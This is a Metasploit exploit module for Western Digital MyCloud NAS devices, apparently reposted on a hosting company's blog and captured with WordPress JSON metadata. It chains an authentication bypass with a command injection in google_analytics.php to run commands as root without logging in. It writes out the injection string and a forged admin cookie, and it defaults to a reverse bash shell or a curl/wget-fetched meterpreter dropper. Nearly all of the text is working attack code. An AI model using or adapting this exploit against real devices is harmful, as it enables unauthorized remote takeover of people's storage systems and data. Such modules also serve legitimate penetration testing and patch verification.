##
\n# This module requires Metasploit: https:\/\/metasploit.com\/download
\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
\n##<\/p>\n
class MetasploitModule < Msf::Exploit::Remote
\nRank = ExcellentRanking<\/p>\n
include Msf::Exploit::Remote::HttpClient
\ninclude Msf::Exploit::CmdStager
\nprepend Msf::Exploit::Remote::AutoCheck<\/p>\n
def initialize(info = {})
\nsuper(
\nupdate_info(
\ninfo,
\n‘Name’ => ‘Western Digital MyCloud unauthenticated command injection’,
\n‘Description’ => %q{
\nThis module exploits authentication bypass (CVE-2018-17153) and
\ncommand injection (CVE-2016-10108) vulnerabilities in Western
\nDigital MyCloud before 2.30.196 in order to achieve
\nunauthenticated remote code execution as the root user.<\/p>\n
The module first performs a check to see if the target is
\nWD MyCloud. If so, it attempts to trigger an authentication
\nbypass (CVE-2018-17153) via a crafted GET request to
\n\/cgi-bin\/network_mgr.cgi. If the server responds as expected,
\nthe module assesses the vulnerability status by attempting to
\nexploit a commend injection vulnerability (CVE-2016-10108) in
\norder to print a random string via the echo command. This is
\ndone via a crafted POST request to \/web\/google_analytics.php.<\/p>\n
If the server is vulnerable, the same command injection vector
\nis leveraged to execute the payload.<\/p>\n
This module has been successfully tested against Western Digital
\nMyCloud version 2.30.183.<\/p>\n
Note: based on the available disclosures, it seems that the
\ncommand injection vector (CVE-2016-10108) might be exploitable
\nwithout the authentication bypass (CVE-2018-17153) on versions
\nbefore 2.21.126. The obtained results on 2.30.183 imply that
\nthe patch for CVE-2016-10108 did not actually remove the command
\ninjection vector, but only prevented unauthenticated access to it.
\n},
\n‘License’ => MSF_LICENSE,
\n‘Author’ => [
\n‘Erik Wynter’, # @wyntererik – Metasploit
\n‘Steven Campbell’, # CVE-2016-10108 disclosure and PoC
\n‘Remco Vermeulen’ # CVE-2018-17153 disclosure and PoC
\n],
\n‘References’ => [
\n[‘CVE’, ‘2016-10108’], # command injection in \/web\/google_analytics.php via a modified arg parameter in the POST data.
\n[‘CVE’, ‘2018-17153’], # authentication bypass
\n[‘URL’, ‘https:\/\/www.securify.nl\/advisory\/authentication-bypass-vulnerability-in-western-digital-my-cloud-allows-escalation-to-admin-privileges\/’], # CVE-2018-17153 disclosure and PoC
\n[‘URL’, ‘https:\/\/web.archive.org\/web\/20170315123948\/https:\/\/www.stevencampbell.info\/2016\/12\/command-injection-in-western-digital-mycloud-nas\/’] # CVE-2016-10108 disclosure and PoC
\n],
\n‘DefaultOptions’ => {
\n‘RPORT’ => 443,
\n‘SSL’ => true
\n},
\n‘Platform’ => %w[linux unix],
\n‘Arch’ => [ ARCH_ARMLE, ARCH_CMD ],
\n‘Targets’ => [
\n[
\n‘Unix In-Memory’,
\n{
\n‘Platform’ => [ ‘unix’, ‘linux’ ],
\n‘Arch’ => ARCH_CMD,
\n‘DefaultOptions’ => { ‘PAYLOAD’ => ‘cmd\/unix\/reverse_bash’ },
\n‘Type’ => :unix_memory
\n}
\n],
\n[
\n‘Linux Dropper’, {
\n‘Arch’ => [ARCH_ARMLE],
\n‘Platform’ => ‘linux’,
\n‘DefaultOptions’ => {
\n‘PAYLOAD’ => ‘linux\/armle\/meterpreter\/reverse_tcp’,
\n‘CMDSTAGER::FLAVOR’ => :curl
\n},
\n‘Type’ => :linux_dropper
\n}
\n]\n],
\n‘CmdStagerFlavor’ => [‘curl’, ‘wget’],
\n‘Privileged’ => true,
\n‘DisclosureDate’ => ‘2016-12-14’, # CVE-2016-10108 disclosure date
\n‘DefaultTarget’ => 0,
\n‘Notes’ => {
\n‘Stability’ => [ CRASH_SAFE ],
\n‘SideEffects’ => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
\n‘Reliability’ => [ REPEATABLE_SESSION ]\n}
\n)
\n)<\/p>\n
register_options([
\nOptString.new(‘TARGETURI’, [true, ‘The base path to WD MyCloud’, ‘\/’]),
\n])
\nend<\/p>\n
def check
\n# sanity check to see if the target is likely WD MyCloud
\nres = send_request_cgi({
\n‘method’ => ‘GET’,
\n‘uri’ => normalize_uri(target_uri.path)
\n})<\/p>\n
return CheckCode::Unknown(‘Connection failed.’) unless res<\/p>\n
return CheckCode::Safe(‘Target is not a WD MyCloud application.’) unless res.code == 200 && res.body.include?(‘var MODEL_ID = “WDMyCloud’)<\/p>\n
print_status(“#{rhost}:#{rport} – The target is WD MyCloud. Checking vulnerability status…”)
\n# try the authentication bypass (CVE-2018-17153)
\nres = send_request_cgi({
\n‘method’ => ‘GET’,
\n‘uri’ => normalize_uri(target_uri.path, ‘cgi-bin’, ‘network_mgr.cgi’),
\n‘vars_get’ => {
\n‘cmd’ => ‘cgi_get_ipv6’,
\n‘flag’ => 1 # this cannot be randomized according to the CVE-2018-17153 details
\n}
\n})<\/p>\n
return CheckCode::Unknown(‘Connection failed while attempting to trigger the authentication bypass.’) unless res<\/p>\n
return CheckCode::Unknown(“Received unexpected response code #{res.code} while attempting to trigger the authentication bypass.”) unless res.code == 404<\/p>\n
# send a command to print a random string via echo. if the target is vulnerable, both the command and the command output will be part of the response body
\necho_cmd = “echo #{Rex::Text.rand_text_alphanumeric(8..42)}”
\nprint_status(“#{rhost}:#{rport} – Attempting to execute #{echo_cmd}…”)
\nres = execute_command(echo_cmd, { ‘wait_for_response’ => true })<\/p>\n
return CheckCode::Unknown(‘Connection failed while trying to execute the echo command to check the vulnerability status.’) unless res<\/p>\n
return CheckCode::Vulnerable(‘The target executed the echo command.’) if res.code == 200 && res.body.include?(echo_cmd) && res.body.include?(‘”success”:true’)<\/p>\n
CheckCode::Safe(‘The target failed to execute the echo command.’)
\nend<\/p>\n
def execute_command(cmd, opts = {})
\nrequest_hash = {
\n‘method’ => ‘POST’,
\n‘uri’ => normalize_uri(target_uri.path, ‘web’, ‘google_analytics.php’),
\n‘cookie’ => ‘username=admin’,
\n‘vars_post’ => {
\n‘cmd’ => ‘set’,
\n‘opt’ => ‘cloud-device-num’,
\n‘arg’ => “0|echo `#{cmd}` #”
\n}
\n}<\/p>\n
return send_request_cgi(request_hash) if opts[‘wait_for_response’]\n
# if we are trying to execute the payload, we can just yeet it at the server and return without waiting for a response
\nsend_request_cgi(request_hash, 0)
\nend<\/p>\n
def exploit
\nif target.arch.first == ARCH_CMD
\nprint_status(“#{rhost}:#{rport} – Executing the payload. This may take a few seconds…”)
\nexecute_command(payload.encoded)
\nelse
\nexecute_cmdstager(background: true)
\nend
\nend
\nend<\/p>\n","protected":false},"excerpt":{"rendered":"
## # This module requires Metasploit: https:\/\/metasploit.com\/download # Current source: https:\/\/github.com\/rapid7\/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, ‘Name’ => ‘Western Digital MyCloud unauthenticated command injection’, ‘Description’ => %q{ This module exploits authentication bypass (CVE-2018-17153) and command injection (CVE-2016-10108) vulnerabilities in …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-45829","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/45829","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=45829"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/45829\/revisions"}],"predecessor-version":[{"id":45854,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/45829\/revisions\/45854"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=45829"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=45829"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=45829"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}